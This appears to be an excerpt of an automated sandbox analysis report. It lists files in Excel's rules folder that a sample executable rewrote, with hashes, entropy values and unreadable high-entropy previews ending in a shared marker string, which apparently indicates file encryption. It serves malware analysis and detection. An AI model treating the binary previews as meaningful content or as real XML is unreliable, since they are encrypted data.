Preview:	<?xml._[.....HB!.."`.z..0q.....y..>....{....5W.hQ H=...`..............@..?.3....D.fQ.. B.m..M#j+......5.G..a'.....u(3S........@.L.......nv.................9.v.j.O.{........(.FR&b.4HN..AeU...$...'.Z.Q...z. QK......x...Y. #......B.....v..{...6...`$.....9...e...G........yfKV..].MK.........`.;.6..ML...j4jE.4U.q...,-.O..V......U......./}Z.M.`....i.7^.4.M....Z$sm........C..!$^..F..c.H.T....%.vgM.X.k.....q.mp....U....}^t"..m(.M{.B:/...(vfy@\|......!.1.7..}n.EXP-e......Y.o.OQ.X....NB..C.'...<..W..?65...H.y.Tsu....q;.H.@r.&...:.o..........8>...jw....J........TW../..}.%$..."9..TD.....z.]....-..zp;..'...O.H:~.FN.....f5.\|..0.I"..w.........Yp....c..;..".i....q$LB-.L....._.s.3.....p...T.....y......?.X.......,.<.VxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.645142574505062
Encrypted:	false
SSDEEP:	12:ZldsV9/jsGKK5VmT4+Yq53l0B3uXJ0M9M2cii9a:ldH4+tl0cXJ0M9pbD
MD5:	57192E24951EB2CEA051AE8EE405F41A
SHA1:	D2A8AF06EFD785642023BD71069F03AD4266C8EF
SHA-256:	EFB2D11E9A097A474E1ED880380248AE9EC99DA7B3B1E151F82C6EEFF141C0EA
SHA-512:	0C3C06A4F98FBCF9FAE28F5C8F770BC75A83687E56C74BBFE669669087F6250CA5F60233245E5ECF3C4B3FC97256C3BF3DA59494576CF9D3E59191896B4434EE
Malicious:	false
Preview:	<?xml\|_s...~ .o....Px?.?.........6.iX.j.Y~.5.A\N...P....$.4.Q.$X..$a$...~'.4;....U..Ns_X.(.W.cY.ZW..........Nw..;...6......v..V...:_.b.../ pw5..f$M..!a..o..`....\|r..2......t@V.........I.....9{&..~Ia\|..p2AX.........Ek....7...Q.V`...x....U5?%... s.\.$S,....2....\|y..vA......q.)e!\|$b..j.9p.B......}b`B~...Y......N...[....2?...L.=C.....S.~._..]...._......v*.E.";...M.h.....Q...P..^.5.....,."3...4.D....1A..E.,...zc.O.r......iV..<t..;...g.V..p...../..-......gu=.5m......^-...?.......G...G..C:.>.Ma.7....(./.........x<..)f.E.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.763543254841795
Encrypted:	false
SSDEEP:	24:+2Q4G0WCI96Ks8gQsEirMY0sJSYpm9pbD:hG0WCIU7ZZM5sJS1JD
MD5:	0076A985D147B564EA40BA577D7F3626
SHA1:	A287C9B7CFE79AFADE5ABF6E0F194CECFD362854
SHA-256:	271AA9C535409D35618EC8BAB1469C94EA9A80AA1E186987DFFB91DF5806EE54
SHA-512:	8BA503A72678083B1F1097138FCF11C82342393AC1A57976295038531851466F7E9214FF0C3D49E1840FBE7FB604AAF8C043A985D676A11F086AF4C9872B5B41
Malicious:	false
Preview:	<?xml...QSC....7%..pw5..pjo........9.$d.r.......k...>..Z..... ..h..X..k.C...@...J...v.`P<.;....2Sc]:N._..;]`...G.q.ab..X.C_.BU.."....O...0.\|."..$...3...w..10s...g.......A:......u8..a.....<.p.1..........I.....:k.u..6..v....l.^E ....!..D6.0T(.5....k-k...3....7......W\|.4..K.=6.ArJPhm?T..y..%0....A'..Sj.f3+..~qr./V......B\.:B.w.........-.C.:E.....5.C:c..G..[4..7..+.....\.e..].1.....V=.=..1x.....,u.F..W ....x.l.h.2.?...^.....q...........R....$.a..UQ.........}f.AC.....R.zr..G.7.4..Gg=.R...D.m,.h...2^. >w..x.=#..t.x...;o.X..l\|.7..........OG@.C.Z.."....?D@..(.L3B...v...f...^.....C+.....o+.@...4q..q..E.8.&..&.'{J=....e....l..).\......""S....(C..:..b..`.].y.wcT......X..)mg.......zFHu.3.C.[.Q...[e...[........(\...u1V......g"nn.gV....@xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.972883616663135
Encrypted:	false
SSDEEP:	192:YwLK/AJ8VqJFxDtoFVcXDI2F40YgAlp07/BIiTyt:YwK0ksDtoyXs2F40YhlG7pIie
MD5:	F9F6FF8045EC1BF1CCD376687530053C
SHA1:	301697C77AF11877FB4D1493719761F36750DF01
SHA-256:	FCE4A4589A9ABB14FC5EC01AA65631377E51F5F8DC6B4FA5B38FD212936F1A19
SHA-512:	7716225131EB3D6A501E51E38358EABD10311311D291B08609077235D72F57974F23204F085E60D4396A51BA299818BEDC7DE71E1E3CE8118179DCD80DB799C8
Malicious:	false
Preview:	<?xml.P.....3~..&..n.#...A....&... ...[:..P...]..&....\|n0......H..i(K.....b.....C[......).+..".B.B..l....B{..(.m.../.ML!......i$.......B.O.N...?..}..".s..8..e_U.gG.n..g.<.Fp..1U..('....`O&(.......R7.A....Z.....P..b.h......T....%......E./....QU<..M.!.G...A_..L.....?.Ul...p.v..G.zJ..\|.f.....j...x;.[n.2@{6^9.3{....\. n.6[k........x......&..}NM...p...a..i..U\..W._)...vW.QK.......-g.o.i...B..B.52j$K)......g'......@..uU.X.}M.@J.`.e..)j.na1.F..V...@.(..-K....}.....U_;.N..."B.!.....b........r:...6.aP.../k.....Q%.1x.:.....<9..S..;o..=0x.4...3.p.W3S..9..........M.#.t~..a.}.)r....kS..IO.. {...%..;.H1X......Q..@m.wn.yo....KS.yk..%....,.....3....../~.hM,.t....5.....ye.......w~a.kf.h}.h...lu[.~.8K..R..S.N..k.V.5.l\|n.ct..@.d;.n.y..s,.R........?.C..#.3..NB.{Z.,.......,c.Z....`.! .o.A...y..yP....9-.Y.(...mT....V.Um.......u..O....E.t5.4.'....>...I.:..9)....>.lv^g]g.....+8.c....E...b.Aa...5.W...R..R....gl.....6v..nm.D.s.r..>.C.Z.C...=..W..?o..j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.755329289264762
Encrypted:	false
SSDEEP:	24:4EQsYzH54/sk49rs9AQmjIy5/xAdLQF1q74Wjr5wuwj9pbD:11y54/s1Ns9KIMJAdLU1q74WjdMJD
MD5:	15BF3D375F87DCE8A113A1B545CCA67D
SHA1:	ABA8702BBFD5178827D79FBDBBDEFC33F3559E86
SHA-256:	96D3B6ABA0ECB0C300E72823C0D4BA892E0B65F53DC3AFDD11610B25A72E571F
SHA-512:	1A03AE5F882219EF7C070765AB1B8C51D25431033F55CC92136E0E64EA7F2282203A6068142C6AD017D9A02E5AC0308516F33960D24F5CF5801D8B61FE8FB3B4
Malicious:	false
Preview:	<?xml...6....v...U.8 ...Q.j....%....`.%.-.^..\b!?........U...3.O..Tt...E._B.... ..V..'...\|m...x.?y.qG...H..{......]8EF.. ......iD./.i......v.x..c.9...h..S.@.:.9C...lm..@}a.C\|..jW.3ZJ.?..m.......;..A.L.^G~....E...H'...s..].z.>...S.....6.M.Av>dCK.S.j..5.`.d...A....b.5).O. Az....X.5.u..w^...A.+K,...+....m.?{...t...#..zE.7.P...j....-..6.Q.Cd..n.Gh4(.wWp....vQx)T...\.=..`....kA.....!..-..\#.#F..Cq Q.8....e8....3..2.+F.m.....m9.....Q...B.QM../H..{.&........r.`..b..).<.....]...........F.D..o..C..:....6. ..\|.rya.N..\|...B.M..4+..\|...I.. ./..A..20o.K....`l...aj-.......i,.2.d.q....."UKC9v)O...kw.l:..2;.....sl.....- .b. 9m..t..b.P.......?:.c..+.g.....&.i..j.....-3@.j&....T.=..lX....Ay.N..\|=8J. ..8..J.C.H..Bl....B...+.Ra..5b.A._P.c.M..u{.q#......N:y&.8\|o..VS. WK1.A{...._..n.3 U.$.-H.:p..v...AD.....rB.\|....RP.*.^..K[.fF..f#e..y.R..&...T.k..{`.?)k.....s3.2.'....5..d2..b.m{.3...XAB...Mi..^."\|.....R....1.d.R}.,N..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.786331722097107
Encrypted:	false
SSDEEP:	24:seBnCH+BqAvx7A7ESZSDKab8pvd5W4rTVhZmGiI/KctDIs9pbD:7RI+BqSxsnZSDxANd5f9hAGJiCD3JD
MD5:	BE9E76C2A603E672829EAA747DDE4575
SHA1:	FC86BDFA3079364DC7905F3020C007972BC618A4
SHA-256:	6C18CA589A69A588D505A21C14552B8936DA28C51461C90CC4B3C75B19948397
SHA-512:	AA38551DC42879D83EDA34A213C50651FBC8B06066EB0E8CE2EEC5E397BDB81895B7AF44FB45410E54B0061BFA0EF5887B4119982F0EDE9BB196B129AF42A5FE
Malicious:	false
Preview:	<?xml3.Y.{.wd\|.u.....N..5.z..2.....`f...i...%~..#.....X...z.1..x.LwH?....G<...b.BD.1.....rM:.62.i.W.a.n../(B.%[~X.....>....S.}..../...Z.a..p..2...VD..8#.........1w..4....E.r.P......,..=U.Ow.&.f...0...f0r.Na!.!W...:#.S.X.C.....w}}J ......1.>$.a=];r....sq..+..D.m$.....\.u)b.!......., .+..7...9w1.....O...@..9....V....#.Z~..7..{...{....bG.........e&...>.}...........L%.....DK..n.'.w.Hv.....y... ......(...._j.8J....V..+.+...0.!.....;.r.4..g\v...sz.5...].t.u2.1p5..c..<V..T+!..!8[...... .F.(.f......].....5^_..t.'D.7D..o.Z.c.E^.'....n.7.d.pm._.........+0f.............z..A.NSGL..g.. ^M..(.2.UE....E...6fq.....1.c..........S......m...+w...R... ...4x....2;S.Y:,...zd.X...\4..t...Y..j.3",...~...j..;@=0.y..ZO..r.+....5.g....6Y..WR....7.j$..r....t..].../F.X..>.do.L~....'.8.;....p...C"_.Wm....r.y...D.....5%u.x..'......>..`....()2k.AvT..........9O..Uk';...@...DCS...^....../.`..-kO.V.b...7.<Y..~U.7aJ.2Z.]..p..>..D8..Z D.e..$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.868919384983351
Encrypted:	false
SSDEEP:	24:iIR/WTWEJ1YXLAppsGwTobhz8Jhbt3vpzgmP+bGhtRgOsh8ZYGD9LFmMb1q9pbD:7WLJ1+qCGwQhyhZ3v6kKkrmh/y5mMb1W
MD5:	DEA8108244EFEE9EBF26175246D553FD
SHA1:	E15FAB238DFDCB1E09A9B25A3034DCADCEB77893
SHA-256:	16E88152A1672C6453AFE19AB3678B9B7DF7B52CF012C9F9786D117D46DC3FB0
SHA-512:	92CDDFB762130E9A4D6171834F693CD2FC36ED4420C655C6555F648322B9CBD1495F5CFBC37DFFB7E9C79CD96FD6ADCB604140BA605979BE291640D17EDC2A2A
Malicious:	false
Preview:	<?xml......X..../.hi......!f7...fM..1....D....M/.M...l?y.k#.b.....q.l/....x+.(....;P.n.d.t@6.o..}.m..]..b...u...u...2..Z..4d..toA......]...~=9W.r.(..........W..ld.\.L?.q...W.c..f.o..B2+Rz8a}...V...k..Y.M.0k..SOh....8L...$z.e.6.!.<.3.0.<...e.J/.......l..-.>..9P}.....3.P.0..,...,.<......#0....=..P.X..5b...9..l..Ki.I.5.[~X.qM.......<.G....4./...;d;..M.o.\.....T....o...w1.R~...1R..=..&.p& m..l.>@BV..U.Amg..r(..^:..u..U..Fvwu...}T>..v...g\....%.`..../...&..nDZp..a........K..4.Z. +..w.X...a.S%y.b>rm...G..m..\|!;....%...K+..n.....T.(_.#.....h.miP..6.`Y..u..%..S.m....VE.....S...x.X.oL{.9`..y.....{U8.^.CCOX...#r.........a.`p..>.7.N..Hp!sa.q-@q....L.K.......v...57.R.z.....Q;G....'C..+.+...,f.,....Jz.....,.Jc.Q..8...eG.....`...q....d..7.3.O=...earI..s.&..!VHrg$.)........"..@.h-....Bi;....~y.......K.&\|....W..K...9...q..G.gg.X. ....M...Cl...........\|._.*.b..CQ..~.Dn.`...jO.q....tf[~J.(.s....S...<S.x...8S.i2S._.V.. +].d7..D.rhK.6a.=8..K.....s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.7939380795812045
Encrypted:	false
SSDEEP:	24:yY1ZoKtgXMNAe+AlcK2iTU5p2gp1NTow9YVYd9pbD:ymNZQ+U5pmwyVYXJD
MD5:	EC77C4B6F1D66C7AF423FF6D11F24FAC
SHA1:	6C2E25400D84E552CE8FFAC682355A389ED62366
SHA-256:	3772684C031C659D64D088FCFCFE03CFB4F6A569FA2348F1E19C89289C1A0B8D
SHA-512:	D5CE319ABC5DD6DF4C7B18510596BACDA537F23837883347DFF5CC49DF0B2D07C809F98739DE89859BBC38B262C85CA23E57C1FB66ADECF810736971663BA433
Malicious:	false
Preview:	<?xml..m..7.../L......o./...t0..G.0......B.Z.K....w...`/.r.}......PJ.\|.M.0........,s.....XVg X. ..j.".......pJ...1.k.....u....;..O...X9.D.......].87..?.(.U...$.......Y.n...v.p.......U.w6..<...5./W.q......xn........i...<c.qOV-9u...t@\|S5w.1......:..#C.s....>...=.b.....?.Z.zU]w....j-T:.\....}74_NV}.u...I...0,~kA.}....9;.Q...h...B...bWP..X....D..;..!.s.RO!..$...A$g.g.t...(.)].H.M\|ge.;......?...mx.<......~{`....#.....\E.t....w.bJ&.Q...._.(..0.Ow..e..,..D.....%....i...a..F>.."..5.r..C.>..U....O..O.f.0RI.m...E.l>..........}Y.\\|.....v..o...Kh0c..j.C\|.........6...a..9.h..?..u..n4.$.]2.g...H....@.t.z.$X?.g..S.....(c.z.._v....._YE.!..8 .....PU^6.I........xpo..e......P...rN.j...&-...E.M......N..#,!yT.s...<..o....).....1...L.!,..../.u{@.h..I...#.$5$V.'..T:...!.....HT6...5s.32cbj.\|.g...(..g..PF.dj.F....?..(k..r-0".+K#.6.=T_$....(.8.mY=3...r.....~6.....V.....2...t-..9&...{..a.......[..2..$.X.0An......Q...f.s...._\|..#.D.#..7"}..xcdId

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.802205431201545
Encrypted:	false
SSDEEP:	24:M8o1ZJ3VtC7BC9lCNbHqtpEndA7bNYDiW8AUfQug/lDHs9pbD:I1jFtSqCNWtpEndAfNOindfQ7NGJD
MD5:	2C98446899AB4CED2717A8569E6E03A4
SHA1:	AF0CD4D5BE3FD6DA001C44203ED6DD613AD44294
SHA-256:	53705AA19CA4FE789ED4D2636E79ED1B73B765172734A1221ED6EEB089D004B2
SHA-512:	E3B6DC0A5AC9EEEBA367890D7B76EB5025A76900C0F93608C54FEE2784F6205671C7CF1CC8E1DCB4625E1D803411F2C679759E66374AA0C3548DEC34991E506C
Malicious:	false
Preview:	<?xml#..<6..G3x.d+y.....&...0.WI.3.v......W4...d..V.....a.?.5.PT$.<7....}.Y.H3....[.W!.g..;%.g..eb-..P..9.....y.p.<S.z:....O......R....)F`..F@..27..h...H.Q.\|eE...T..^5.m.hO....`12Z..n)?.v6....U......<GZ6.eT.QhwQ[....s...+.T.().\|.B..V....%.._..... ..!)...;Q".TE[=.....d....\|(o..e....o......'a..!.6.X:.:..'.9q.HwR.b;s-..n....B.(........u.u@=T..%N'....)T.X..H........)W./....NN.~1...#....kq.......5.5....Q.N..E...x................1.K.#DF.k.8.....l.#.L8.]...DQV...#Z.;.>U....7.....0rx0.$.'..Re.JC..{..lR.].).n.l..XwL".C....p1.q.I.0i...+.}..d..d.Vg...a.....-S^.X.i.. D..D.D.....E..r.......L....i..u...1@]%..^.g.C._.![...M..........D..Ab....IX..e.v#.6B*..h..}...K.......Z.k..C..ZL..p......5...m.....r.H.}.._..nE.+8.."..Uz..Z..g\|.q6.!10...N.u_._o............Vk.i!:....j....+V.DP.j...\..H&....I.Q k.do.n.....p..('O.X...X.n.z.MDJ:8.8.T-.W.QI..i.....P^...Y.S..Z'!'+jv..UB..=.i.:.je..L..b..:...<@...'.P.._..j>....K..}.`=......'.\.k+.....;..j.........4]q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890063960942265
Encrypted:	false
SSDEEP:	48:mt8OwRrw1swqRFAUtXRjsykBRXj+kzLqtsjLNsv8ZJD:hJRrw1swqRFPtX6rPXC9CsvI
MD5:	06A1D394846533CF36C23E86889A8F3C
SHA1:	FD567A1C99955E7CDED85BB33F2BD1C8639E1EA7
SHA-256:	6C91F65A0B99B20C74C7B11C4ABD0186A4DE69D0D4EDFF583852735737F0F5EE
SHA-512:	5D39713DE93EAF07DB6F255624DDB8E36ADFD07E3E57448BB1C3EDE3E5DC07746BA184A51B37D06474416E093084FA733E7B305D805ED807CAC1189CC1EE7E0F
Malicious:	false
Preview:	<?xml.G-..x.(3;.....U.....x).6...i,......+....Jit}....#.P...J....S.@.!....H..+..y..........@.P.kde3).....D.$.wK.....pY......8...(J2..a.....5..vM....DF0.....7.c.f>....K'...'8..8.....].....pz-O.N..0.).+.....u...OT.j./r.G.Q.iJ..L)-.r-.G..]e...@S.//....,..\..Y....C.f.....wS.xT..}..fXjFM0......G.N..........@=4)0zof.G..KD..d..R....8'.G._...~}.j.W..G.......K.x..wO4.b.A-..J..b..M.Y.\|.<...P...Dh{hC..7..FG.{9N.\|...]ss...#..J..#p....G..e.?.).s...lI.cU..;..0. ......\D..J.J.,Q...7V.Q.../.....o.s.i.n5......:+..j,....J..-......)W.DN<(....a....."..-....]..j.....B...?.-F}...3..].....5yu.c.Z..C..H].".......x.#.^P..(...7.y..n>.#.[j...'...^?H.;..B.x..K,...uHMB.32..8$.....Y..y ..n..)..y+-.{.Dc......"".....w..d.s.l..&l3....cF5.g.5E...P...+.zu;.m....nI:....Y...`."...7....%.`G..".....<...........@....Pz...OX..Xz0....Il.MU...]j..OLNG..../X...7.......,p....t.....q.Z.~.......T4...._.'......s.>.....9.E{.Y..D.6j.WJ..8...l-..........a..m.-X..../.......J&zIG,0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.68593509296363
Encrypted:	false
SSDEEP:	12:jA2cv3WXlMnOiMZso6FERup8+snShTfTrucgM1+DuGmsRL9OlCGRCGVX7JcB1U9h:8TWunGZsBjNsnShHru/Mauhu/GRCGVrx
MD5:	B6602945196DF13F3A50677AAA6D914C
SHA1:	297974EE4AA2F375DD4CD75FB54031FFB920A8B0
SHA-256:	3EFADA8D090644B6BA65EE8F879F9E11A04F3335AFE8E4A8AA6BFE05E69C84BE
SHA-512:	939F4138A98A22A0EB1B466986175D7C08A48B5A3DF628E1D2C89CABA2185051D55B575BF7C55F17B6B322C25B05D1A104575AC0257F6B24127F9C31B15F3BC8
Malicious:	false
Preview:	<?xml/1Pj.6.t.......B...[IU.P...`8.^..@.........G.#3....6....j.\...A%..==5..D.;Il..../...Dj..c.......{..=......3......b.W5...5.eV?.l.%... ....^q.U').S.&..!.[...;wT.>{.w=....Pv..m..f....7.L.V~...7....lp.I..xV...(D..0h......".-....;.!.z>.@.....~D....n.l.#%.LU......@.Qh..D..Z.....l..V....W..CP...".#....k.._.@&a.S..^........Zl\bW..-~c...pS.#..g.6..m..G..<..I....f!k...4u.....f...l..2..3.q....3.]3.....x..n@...g.....g..vG..1..-..._.F.9.v.....t...y.X.....w,..d.76d..ol-.w.%@....\.K.Z.....o.x../.nM@..W.@..c...4".=g4..._L....bi."'..m ~.H.}.5@..)..:...;...;Q6.x...k..^......}i....$P9.t...;..$.'..._Mu:.f.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.873297681508772
Encrypted:	false
SSDEEP:	48:whr9BvT2rfRp1LedSVd+2Qvk79AEQA6NEgAmJD:wL90e9Katxx
MD5:	CEB43F873E795D9DE563006C3CC29625
SHA1:	C406D08358647866F807FFCB0D6E08E848664794
SHA-256:	EFE08D4F519CAE8A0DD3F46FCFFC6FFE8CBD3B3A326D018B5E1ACD83CD954DB5
SHA-512:	06C5A10681C5E7A9EA9D233DB3DDA64CEF61944575031222C8E925BFD8423C6C8ACF487A04FD02AEB8F3F1D96A6B6EBEFC6453A505EF0417B65E9A34DE3C9614
Malicious:	false
Preview:	<?xml..Y3...nA.t#..K..i.Wa.e..{=.l..5.H...G.....mj.!.#'.......-..q^.5.xC..U......~./E.RO.W..?..N..3Y"..5.D..nXetg'm.h.A)......g-....8Hr...W.h\...s.B...s..w.....e..~......Q.m..gpm..<8...}....&........j..CT....IB..f..:A..?..2?..5M.81.q&..k.....n..~...8....$d.X..P.J..L......4.&<N...3..gj...`.>c.....\|...~.J........0W.\lAP.<)..[.....`.>..t.qPL.u.>......o...~C^_k?.l....%5.{...p>...#y....@.p..........r..1f...!..P.. &t.Q..W...]>bN.....tP....I.].8...u5...]..;&...W.....s"....k....r.:I.....wui..~<$.[.i......[..X..-..4..w.x..u...k....v.,=5..`J.\|......XR...m....Y.#......k+~..... ...B\.V.4...7.m~.....I..4=....Z#.....d.....st........GR...u...'0.$.Aj... .....qbI.F..44.._.W5..e...W2.4..-.!Z.;..>.l.W..\|%>.k...J .H........=T...'UY.....q.l.f..o..9.Q/..k#'I7...,.9.........Qy..83...h{.X...50.R......M..t..j..v..l.t.......9.s~....-E"\|.1.0c.\Kl6.iq:..`..d <MQ.....L.]V.:6+l^.W.e.v...Tr .-..ZQ...?......Q#.7.0[E..@......C.;..7UF..Y...O............3..RG..]?.....V.F.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.904247025811589
Encrypted:	false
SSDEEP:	48:yV0XGfH/VbnDvzgA0LQ1+gF99Q/mIpl8mYc7vxtegWe5sdTKlLYJD:yV0XAFGU9smIvr7TlRIt
MD5:	6B061F0D391324B236B99183F4DFD94C
SHA1:	15286BC234F0E709AC823BCEAC3E5A6EC1422852
SHA-256:	6EB4C5D0DEAD8E1CC3745586FD0D231EE84A023088EC9C1A303AD2CE7ECD738A
SHA-512:	C0B4EC64BFD7B16533B1272FC74839FB947204D2C3384F9CF034E0A2517425EFED17B6B1278B59A0125663FF91EA6C601401B4C8F4D85909B34E5A035AD0F286
Malicious:	false
Preview:	<?xmls...h..\|....t..C..1.i.j..3t.P..`Wz.&b.\.7..J..x^..K)A....(..8.i-H.^.....b.O...{.]..Oq.>\|.Wwo.'. X..QE.h;~..W...T.....~3....C..R..SE.`s1.O..;X.K....4...\.s...5R.d.........7.r/...LDy.v....4..N8.,..(.6.....H.[..=P..~...\|."P]6R.X......kUZ.^(....=7.E..................._...8+o.1.lg...1.+.E..._..?.>6d.F...Z.e...z...#...V...k]............%.....#.5.5.,...zG.:o."...hsD.#.y{.....;...O.....S,.:....o....-...hW=$..3.e..&...6qn.3.3$.@..NT...$dt..0..+.fs.}.t.G...y...P43......! ..i...X/..H^...s...r.:?..Q.C... .w..L..t2.k..?..:....Ez?....[.$..........gD....t~..Se.b../9...^U..0.SQ..e.XI'............~9%.2~...m...w.u.E......r.+t....&....W.`.f...v...N.m.Xt...-x..&.0.l\...V..h.....,...&..{3H...ba+....kN....>S...+....+...].RM8TGY<....E^0...`.;P\|.....].hy~.0.&N...<r......'. .dS..._1.Ng.B......m./..N..nS..:..>V..%.!..S..'Q...n1.C..f....M.....{l\..........D.:Y...:.('...5...yA..6..C.g.......Q ..ID.Z...ib o.;..C@M..F.X..fD....g.xC.&...j.Q....z.%...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.88441141408486
Encrypted:	false
SSDEEP:	48:zsNFuCqTgU8xth4RSEtwgXhWxcUCYqgJD:YN4VTgxV00xc7/y
MD5:	44D7AFD53B3C0CBC1BE316C98A246E60
SHA1:	B6DB84DE151DD7581E9610F3EFED4B7EEA87A78A
SHA-256:	1E6F18AA1B3C580FAB6C642D1C8F4C80CFCD50EDD880B6E73A41CA19BC6A6411
SHA-512:	75B6B14EFA05F8A26CFAED34FDED19DBBFEBD2FB9A99F7F3FD70B208576E9F95D0675581735C872EA80378075FACC1D32143A7F249F811B76184334D29EEFEC3
Malicious:	false
Preview:	<?xml.......mm.._3<..B<..4kb.w..c...n..l.~.MN........q...K'..j.B.....}VH.F.ET.A.-.....`..n.....Y#.cB...b....'....x.\|......8."=..h...J..w..M....T.V.....Uk...@E....JkS.2..64..IK.i.0....E2..VD......[.o.qeF}.W.......:. 6k..u...,_=...p..2...#R.BaE.....#.C.uL..<DI..P.R[,.-...D.$%......`....!.qV..)...%.^..a..A/$...s...u....l(m......c...e..6..&.H....].W.zLi........S\|V.h.#w.R..c..Xw6#.#....J.&...&m..R.L _..........XH(...8...04..F...c...c...1`..0.n..".'.....2....x.]@.u....d.c!;.A..[k...A:Q.."....9.......4+~.2M.d+.&\|.}Z...{r..A..3.t......p1........f....Q...mq.GQ..3e..BZ...]I.(...3...d.@4).".....t..X.`S..U)h4..c.gh...^._i.r........bv\7.........-.p....!m..YW..Z..M..\....ni}.n..}.l......U.J5.*k..U..TE..(.!....?.....s.:....c].Bk..o.Y_.@.6..C.j....n..p.X......$M..\..m`o....U\\|.....o.....a.;.#.....x..54.....G.RK~...]....K~ .B._Z\|K....0?..5.&U....L.A.V..D.J..).=.0...20.^[)...:..."..."U.F..-.@&Q.F.R..Zw.;_.3}9I.4..F......E.6......./w...1&..GNi5...."...4I.3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.737781887718425
Encrypted:	false
SSDEEP:	24:K+dGekslY4Q1dk/rhXlP3V8HLFYPuGeURmI6fY9pbD:KsaOY4QY/l13mhIu8RmcJD
MD5:	E79C5ED11BCD51A84CE171971E7E8C66
SHA1:	B5536E6B6B8921F1460B97BD6A16654786ABD156
SHA-256:	FF95088CD0C21D3749E8707214919D5C5235D8D678CA2E3D2D27A97D9FB227EE
SHA-512:	1D2855071945219492651898950883E6278F7E38000575AC9BEE11E01F86BA3094588D68CA7247F15EA70AC093ED497671AE92BDA6F000336BDB20B64DD52DB4
Malicious:	false
Preview:	<?xml.......wZ..7..D$d..iaO....2.p.?.......i..%/..R.....#.........AR\l.{g8(...nns.O.....ni...L."....j.D...o.s.ju..`92.....6....z.I..'..w...(vq.ztu.`H..R]..$..........Vm.!$...a..."L.0....3.......s....L...k!..x....4Pa.P..{?a..d.VxgB..hn(..B"q..N.2.}...^.\.........9..3?Y...)_+i....\|.@....2.D..G.."'"%....F4.'......E....M P.....7Kg....Pn'...h.g.h.0......U(..n.j@.=@..l...~(].;P..1...@....7...p...:x\|.M .b.....v1.....)D.`4...o...#{.(n.n K&.t..g.E.......L..S.....E^9'F.A.,...T.A...:..0.w{7.3e.j.4q.98...eM......=...E.7#........G.`d.........}.7.Y2......v.........D.D.5..X.o..u%88.`Q6.}...B..._.lZ..3#1.#..._..E".;..]...jZ...4O.A.t....l.....!..[..@QR..C.H.j .j.2..E.0.F..#.!"...-...qa%.Xp.........o<G...R.?.~.f..q.a..*..2.[U+............B[.5.g.%C$T......8.....=Z>.^.aHqP...O.\H3.....Ym.T.d...Q(#......0.V...:.h.).]:./.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.827481715007433
